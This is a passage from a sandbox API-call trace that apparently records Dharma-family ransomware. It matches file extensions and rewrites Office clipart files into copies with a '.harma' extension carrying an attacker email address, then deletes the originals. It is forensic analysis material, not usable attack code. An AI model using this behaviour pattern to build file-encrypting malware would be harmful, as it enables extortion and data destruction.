(lpString=".xlsx") returned 5 [0137.320] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.320] lstrlenW (lpString=".ppt") returned 4 [0137.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0137.320] lstrlenW (lpString=".zip") returned 4 [0137.320] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.320] lstrlenW (lpString=".rar") returned 4 [0137.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.320] lstrlenW (lpString=".bz2") returned 4 [0137.320] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.320] lstrlenW (lpString=".7z") returned 3 [0137.320] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0137.320] lstrlenW (lpString=".dbf") returned 4 [0137.320] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0137.320] lstrlenW (lpString=".1cd") returned 4 [0137.321] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0137.321] lstrlenW (lpString=".jpg") returned 4 [0137.321] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0137.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0137.321] lstrlenW (lpString=".doc") returned 4 [0137.321] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.321] lstrlenW (lpString=".docx") returned 5 [0137.321] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.321] lstrlenW (lpString=".pdf") returned 4 [0137.321] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.321] lstrlenW (lpString=".xls") returned 4 [0137.321] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.321] lstrlenW (lpString=".xlsx") returned 5 [0137.321] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.321] lstrlenW (lpString=".ppt") returned 4 [0137.321] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0137.321] lstrlenW (lpString=".zip") returned 4 [0137.321] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.321] lstrlenW (lpString=".rar") returned 4 [0137.321] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.321] lstrlenW (lpString=".bz2") returned 4 [0137.321] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.322] lstrlenW (lpString=".7z") returned 3 [0137.322] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0137.322] lstrlenW (lpString=".dbf") returned 4 [0137.322] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0137.322] lstrlenW (lpString=".1cd") returned 4 [0137.322] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0137.322] lstrlenW (lpString=".jpg") returned 4 [0137.322] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.322] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0137.322] lstrlenW (lpString="AN01044_.WMF") returned 12 [0137.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0137.323] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1596) returned 1 [0137.323] CloseHandle (hObject=0x34c) returned 1 [0137.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 0x20 [0137.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0137.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0137.324] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.324] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0137.324] GetLastError () returned 0x0 [0137.324] ReadFile (in: hFile=0x34c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x63c, lpOverlapped=0x0) returned 1 [0137.330] WriteFile (in: hFile=0x350, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x640, lpOverlapped=0x0) returned 1 [0137.331] ReadFile (in: hFile=0x34c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0137.331] WriteFile (in: hFile=0x350, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0137.331] SetEndOfFile (hFile=0x350) returned 1 [0137.332] CloseHandle (hObject=0x350) returned 1 [0137.332] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.332] SetEndOfFile (hFile=0x34c) returned 1 [0137.335] CloseHandle (hObject=0x34c) returned 1 [0137.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0137.336] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 1 [0137.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0137.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0137.336] lstrlenW (lpString=".doc") returned 4 [0137.336] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.336] lstrlenW (lpString=".docx") returned 5 [0137.337] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.337] lstrlenW (lpString=".pdf") returned 4 [0137.337] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.337] lstrlenW (lpString=".xls") returned 4 [0137.337] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.337] lstrlenW (lpString=".xlsx") returned 5 [0137.337] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.337] lstrlenW (lpString=".ppt") returned 4 [0137.337] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0137.337] lstrlenW (lpString=".zip") returned 4 [0137.337] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.337] lstrlenW (lpString=".rar") returned 4 [0137.337] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.337] lstrlenW (lpString=".bz2") returned 4 [0137.337] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.337] lstrlenW (lpString=".7z") returned 3 [0137.337] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0137.337] lstrlenW (lpString=".dbf") returned 4 [0137.337] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0137.338] lstrlenW (lpString=".1cd") returned 4 [0137.338] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0137.338] lstrlenW (lpString=".jpg") returned 4 [0137.338] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0137.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0137.338] lstrlenW (lpString=".doc") returned 4 [0137.338] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.338] lstrlenW (lpString=".docx") returned 5 [0137.338] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.338] lstrlenW (lpString=".pdf") returned 4 [0137.339] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.339] lstrlenW (lpString=".xls") returned 4 [0137.339] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.339] lstrlenW (lpString=".xlsx") returned 5 [0137.339] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.339] lstrlenW (lpString=".ppt") returned 4 [0137.339] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0137.339] lstrlenW (lpString=".zip") returned 4 [0137.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.339] lstrlenW (lpString=".rar") returned 4 [0137.339] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.339] lstrlenW (lpString=".bz2") returned 4 [0137.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.339] lstrlenW (lpString=".7z") returned 3 [0137.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0137.339] lstrlenW (lpString=".dbf") returned 4 [0137.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0137.339] lstrlenW (lpString=".1cd") returned 4 [0137.339] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0137.339] lstrlenW (lpString=".jpg") returned 4 [0137.339] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.340] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0137.340] lstrlenW (lpString="AN01060_.WMF") returned 12 [0137.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0137.342] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=7968) returned 1 [0137.342] CloseHandle (hObject=0x350) returned 1 [0137.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 0x20 [0137.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0137.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0137.343] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.343] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0137.344] GetLastError () returned 0x0 [0137.344] ReadFile (in: hFile=0x350, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x1f20, lpOverlapped=0x0) returned 1 [0137.347] WriteFile (in: hFile=0x330, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1f30, lpOverlapped=0x0) returned 1 [0137.349] ReadFile (in: hFile=0x350, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0137.349] WriteFile (in: hFile=0x330, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0137.349] SetEndOfFile (hFile=0x330) returned 1 [0137.349] CloseHandle (hObject=0x330) returned 1 [0137.349] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.350] SetEndOfFile (hFile=0x350) returned 1 [0137.352] CloseHandle (hObject=0x350) returned 1 [0137.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0137.353] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 1 [0137.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0137.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0137.353] lstrlenW (lpString=".doc") returned 4 [0137.354] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.354] lstrlenW (lpString=".docx") returned 5 [0137.354] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.354] lstrlenW (lpString=".pdf") returned 4 [0137.354] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.354] lstrlenW (lpString=".xls") returned 4 [0137.354] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.354] lstrlenW (lpString=".xlsx") returned 5 [0137.354] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.354] lstrlenW (lpString=".ppt") returned 4 [0137.354] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0137.354] lstrlenW (lpString=".zip") returned 4 [0137.354] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.354] lstrlenW (lpString=".rar") returned 4 [0137.354] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.354] lstrlenW (lpString=".bz2") returned 4 [0137.354] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.354] lstrlenW (lpString=".7z") returned 3 [0137.354] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0137.354] lstrlenW (lpString=".dbf") returned 4 [0137.354] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0137.354] lstrlenW (lpString=".1cd") returned 4 [0137.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0137.355] lstrlenW (lpString=".jpg") returned 4 [0137.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0137.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0137.355] lstrlenW (lpString=".doc") returned 4 [0137.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.355] lstrlenW (lpString=".docx") returned 5 [0137.355] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.355] lstrlenW (lpString=".pdf") returned 4 [0137.355] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.355] lstrlenW (lpString=".xls") returned 4 [0137.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.355] lstrlenW (lpString=".xlsx") returned 5 [0137.355] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.355] lstrlenW (lpString=".ppt") returned 4 [0137.355] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0137.355] lstrlenW (lpString=".zip") returned 4 [0137.355] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.355] lstrlenW (lpString=".rar") returned 4 [0137.355] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.355] lstrlenW (lpString=".bz2") returned 4 [0137.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.356] lstrlenW (lpString=".7z") returned 3 [0137.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0137.356] lstrlenW (lpString=".dbf") returned 4 [0137.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0137.356] lstrlenW (lpString=".1cd") returned 4 [0137.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0137.356] lstrlenW (lpString=".jpg") returned 4 [0137.356] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.356] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0137.356] lstrlenW (lpString="AN01084_.WMF") returned 12 [0137.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0137.357] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1832) returned 1 [0137.357] CloseHandle (hObject=0x350) returned 1 [0137.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 0x20 [0137.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0137.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0137.358] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.358] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0137.359] GetLastError () returned 0x0 [0137.359] ReadFile (in: hFile=0x350, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x728, lpOverlapped=0x0) returned 1 [0137.384] WriteFile (in: hFile=0x330, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x730, lpOverlapped=0x0) returned 1 [0137.388] ReadFile (in: hFile=0x350, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0137.388] WriteFile (in: hFile=0x330, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0137.388] SetEndOfFile (hFile=0x330) returned 1 [0137.550] CloseHandle (hObject=0x330) returned 1 [0137.583] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.583] SetEndOfFile (hFile=0x350) returned 1 [0137.587] CloseHandle (hObject=0x350) returned 1 [0137.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0137.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 1 [0137.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0137.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0137.610] lstrlenW (lpString=".doc") returned 4 [0137.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.610] lstrlenW (lpString=".docx") returned 5 [0137.610] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.610] lstrlenW (lpString=".pdf") returned 4 [0137.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.610] lstrlenW (lpString=".xls") returned 4 [0137.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.610] lstrlenW (lpString=".xlsx") returned 5 [0137.610] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.610] lstrlenW (lpString=".ppt") returned 4 [0137.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0137.610] lstrlenW (lpString=".zip") returned 4 [0137.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.610] lstrlenW (lpString=".rar") returned 4 [0137.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.610] lstrlenW (lpString=".bz2") returned 4 [0137.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.610] lstrlenW (lpString=".7z") returned 3 [0137.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") 